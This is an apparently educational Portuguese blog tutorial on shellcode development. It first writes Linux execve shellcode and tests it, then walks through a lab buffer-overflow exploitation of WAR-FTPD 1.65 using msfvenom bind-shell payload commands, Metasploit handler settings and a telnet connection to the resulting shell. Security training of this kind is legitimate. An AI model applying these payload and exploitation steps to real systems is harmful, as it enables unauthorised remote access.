Na área de desenvolvimento de exploits o shellcode é essencial para à exploração de uma vulnerabilidade. O Shellcode é definido como um conjunto de instruções injetadas e depois executadas por um exploit. O Shellcode é usado para manipular diretamente os registros e as funcionalidade de um exploit, garantindo até mesmo uma shell na máquina alvo, sendo seu principal próposito e muitos atrelando o codename Shell para se referir a isso, mas talvez passe apenas de ideia. Enfim, caso queira se aprofundar no conceito vou deixar alguns materiais como referência.
Desenvolvendo um shellcode básico
Irei utilizar uma prática simples dos meus estudos da noite, e até para não ficar enferrujado vou elaborar uma demonstração do desenvolvimento de um simples shellcode que gera um /bin/bash através de um syscall 11, sendo uma função que faz o mapeamento na memória e passa um nome de algum programa como um argumento.
https://filippo.io/linux-syscall-table/
https://linux.die.net/man/2/munmap
Abaixo você verá um exemplo para chamar a função syscall #11 (0xb) utilizando a linguagem Assembly, assim efetuando o Spawn de uma shell /bin/bash
Para executar um syscall, precisaremos da seguinte configuração do registro: • EAX manterá o número do syscall (0x0b). • EBX manterá o nome do programa a ser executado. • ECX pode ser nulo. • Depois, chamaremos int 0x80.
https://pastebin.com/uJpHU18q (Código)
Vamos executar o processo, para isso, vamos digitar 2 comandos simples
Vamos gerar um arquivo de objeto para esse nosso código Assembly, para assim conseguirmos executar, então digite: nasm -f elf -o sc1.o sc1.asm
Após compilarmos o arquivo Assembly, vamos usar o comando LD nos sistemas operacionais do tipo Unix, o ld é um vinculador. Ele combina vários objetos compilados e arquivos compactados, realoca seus dados e vincula referências de símbolos. Normalmente, o último passo na compilação de um programa é executar o ld. Então digite: ld –o sc1 sc1.o (AMD_64) ou ld -m elf_i386 -s -o file file.o (I386)
Agora podemos extrair o shellcode do executável, para isso vamos usar o objdump para examinar.
Esse comando emite sintaxes utilizando o padrão Intel, assim realizando um Disassembly, Podemos ver que o objdump descompilou com precisão o executável e que um endereço foi movido para ebx, que é o endereço da string /bin/sh.
Você pode usar o gdb para fazer um dissassembly também, basta digitar o seguinte comando:
Como tive problema com meu Kali, infelizmente precisei dar um reboot, então os endereços de memória vão mudar um pouco, mas é o mesmo conceito, você vai digitar:
info functions = Ao qual você vai coletar as funções principais como a .text
disas .text = Você vai coletar todas as funções dentro do .text
Colete o endereço de memória ebx para examinarmos ele, após isso você vai notar que ele aponta para /bin/sh e mostra que ele não foi mapeado na memória ainda.
x/s “endereço” = De maneira resumida ele coleta os valores hexadecimal e a strings desse valor
Após realizar essa analise, vamos ao processo para coletar os opcodes (instruções) do executavel, basta criamos um script e executa-lo apontando o arquivo
Agora é só executarmos esse nosso script ao qual vai nos mostrar uma cadeia de bytes, ao qual qquando é colocada em execução na memória e quando o EIP for redirecionado para eles, eles fará com que o programa execute a instruções que codificamos no código Assembly e vai Spawnar um /Bin/bash.
Por fim, vamos desenvolver nosso shellcode tester para testarmos esse shellcode e verificar se ele esta okay ou não, você pode utilizar essa source
https://gist.github.com/securitytube/5318838
Após fazer todos os testes, caso tenha bytes nulos, vai tratando o seu código, Os bytes nulos existem por causa dos códigos de operação específicos como operações: “mov reg, 0”, que é uma instrução que gera um byte nulo.
Por fim, após fazer a Prova de conceito para testar o seu shellcode em C, basta compilar, sendo assim você tem diversos métodos para isso.
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode gcc -m64 -fno-stack-protector -z execstack -o shellcode shellcode.c gcc -m32 -z execstack shellcode.c -o shellcode
Após isso é só executar o shellcode e visualizar o resultado, como meu Kali no meio do processo travou por conta do VBox e ai como fiquei sem paciência para realizar o processo pela 3 vez, você deve ter o resultado esperado uma shell surgindo.
Caso você queira um passo a passo mais preciso, deixo as duas referências utilizadas para realizar esse artigo também.
https://0x00sec.org/t/linux-shellcoding-part-1-0/289
Explorando uma vulnerabilidade utilizando shellcode do MSFVENOM
Eu costumo brincar bastante com laboratórios e com certeza alguns já devem ter visto meu artigo falando do hackthebox e do laboratórios do Mestre Eder e Helvio Junior
Enfim, para demonstrar na prática um exploit + geração de um shellcode com Msfvenom para explorar uma vulnerabilidade, vou utilizar uma das máquinas que ele disponibiliza.
Uma das máquinas que vou explorar ela possui um serviço FTP vulnerável, mas para termos certeza vamos enumerar os serviços dessa máquina.
Opa! Achamos um WAR-FTPD 1.65, e do lado você vai ver que tem (NAME: ALGUMACOISA) grave isso ai, pois pode nos ser útil. E se eu me lembro bem, tem uma vulnerabilidade de Buffer Overflow nesse serviço que permite conseguir até uma Shell Reversa no servidor. E cavando um pouco a internet, encontrei um exploit em Python que faz isso.
https://github.com/Jean13/WarFTP_Exploit/blob/master/Scripts/WarFTP_Exploit.py
https://www.exploit-db.com/exploits/3570
Em resumo, é um stack-buffer overflow que atinge o método de autenticação do servidor FTP ao qual não consegue verificar corretamente os limites dos dados fornecidos pelo usuário antes de copia-lo para o buffer, assim resultando na falha.
E ao abrir o codigo, você vai notar um shellcode já inserido, mas vamos modifica-lo para um que vamos criar com MSFVENOM.
Existem várias formas, vou passar algumas, porém a definitiva mesmo é a última, mas é só para vocês entenderem que ao gerar um shellcode, precisamos ficar de olho no tamanho do payload e do Buffer Overflow que aquele exploit trabalha, pois se exceder o tamanho pode ocasionar em negação de serviço. Por isso é sempre bom usar um shellcode tester para ver como ele trabalha também.
https://github.com/helviojunior/shellcodetester
msfvenom -p windows/shell_bind_tcp LHOST=192.168.100.9 -e x86/shikata_ga_nai -i 3 -f c -b “\x00”
Em resumo, geramos um shellcode para Windows ao qual faz um bind tcp com meu LHOST que é meu Kali Linux e utilizei algumas técnicas para gerar um shellcode encodado com Shikata_ga_nai e eliminando todo tipo de Null Byte ou os bad-chars “\x00” e/ou “\xFF”. Após gerar, basta copiar todo shellcode e colar no código nosso código Python.
Porém analisando o tamanho do Buffer, não iria funcionar, por isso gerei um mais simples ao qual funcionou na hora de eu testar.
msfvenom -p windows/shell_bind_tcp LHOST=192.168.100.9 -e x86/shikata_ga_nai -f c
Mesmo assim, não foi útil para mim, então eu mudei para o formato ruby ao qual a saida é mais limpa, e surpreendemente deu certo, mudei alguns parâmetros para gerar um shellcode bem simples definindo uma porta também. Mesmo que seja em Ruby ou C, o shellcode funciona para python.
msfvenom -p windows/shell_bind_tcp LHOST=192.168.100.9 lport=4444 -f ruby
Caso você queira entender mais sobre o MSFVENOM, eu recomendo:
https://www.rcesecurity.com/2015/08/slae-dissecting-msfvenom-payloads-linux-x86/
https://ihack4falafel.github.io/Disecting-Msfvenom-Shellcode-~-Linux-x86/
https://blackcloud.me/SLAE32-5-1/
Agora basta inserir o shellcode gerado lá no nosso exploit
Após isso, você vai modificar o s.connect e colocar o IP do seu alvo que está com o FTP vulnerável com o WARFTP, e adicionar um USER ao qual ele vai tentar conexão, se lembra que no Nmap apareceu um (Name:Algumacoisa), pegue aquele nome e insira também, não é obrigatório, mas eu gosto de definir, porém para a exploração não precisa, ao contrário esse é o próposito.
Caso queira montar seu laboratório, segue o link dos arquivos: https://github.com/R4v3nG/WarFTP-1.65-USER-Remote-Buffer-Overflow-Windows-XP-SP3-Russian
Caso queira usar o msfconsole, você vai ter colocar as mesmas informações que você inseriu no shellcode e no seu exploit, como o payload que é o Windows/shell_bind_tcp, RHOST que é o seu alvo o servidor FTP vulnerável e por fim a LPORT que é a porta que definimos no payload
use multi/handler
set payload windows/shell_bind_tcp
set RHOST “ip do alvo”
set LPORT “porta que você definiu”
exploit -j = Ele inicia a comunicação em background
Caso você queira saber mais sobre payloads, recomendo:
https://www.offensive-security.com/metasploit-unleashed/payloads/
Agora basta executarmos o nosso exploit.py e assim conseguir a nossa shell, no caso vou usar o telnet para fazer a conexão direta, com metasploit tive bastante dificuldades. Mas é bem simples:
Após executar o exploit e ele apresentar a mensagem 331 User name okay, Need Password. Basta executar o telnet com seu alvo e a porta que definimos no shellcode que geramos
python exploit.py
Em seguida, após aparecer a mensagem, digite:
telnet “ip do alvo” 4444
Pronto! Conseguimos a nossa shell, é bem simples a brincadeira, eu recomendo que você monte seu laboratório e tenta fazer você mesmo o Buffer Overflow, aqui está o write-up detalhado:
https://github.com/Jean13/WarFTP_Exploit/blob/master/WarFTP_Exploit_Write-Up.txt
Caso queira aprender com os Mestres, eu recomendo:
Ambos fornecem cursos de Buffer Overflow e Desenvolvimento de exploits
Alguns materiais:
https://github.com/helviojunior
https://sec4us.com.br/cheatsheet/
https://www.elearnsecurity.com/course/exploit_development_student/
https://www.offensive-security.com/ctp-osce/
https://www.exploit-db.com/docs/english/13019-shell-code-for-beginners.pdf
https://www.youtube.com/watch?v=nNt_gRl8RBk
https://drive.google.com/drive/folders/12Mvq6kE2HJDwN2CZhEGWizyWt87YunkU (Alguns dos meus ebooks)
https://medium.com/@coturnix97/exploit-exercises-protostar-stack-5-963731ff4b71
https://github.com/alphaSeclab/shellcode-resources
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://github.com/topics/shellcode-development?l=c
https://securitycafe.ro/2015/10/30/introduction-to-windows-shellcode-development-part1/
https://0x00sec.org/t/linux-shellcoding-part-1-0/289
https://bufferoverflows.net/developing-custom-shellcode-x64-linux/
https://www.youtube.com/watch?v=HAN8Qun26cQ
http://www.vividmachines.com/shellcode/shellcode.html
https://www.exploit-db.com/docs/english/21013-shellcoding-in-linux.pdf
https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html
Views: 1198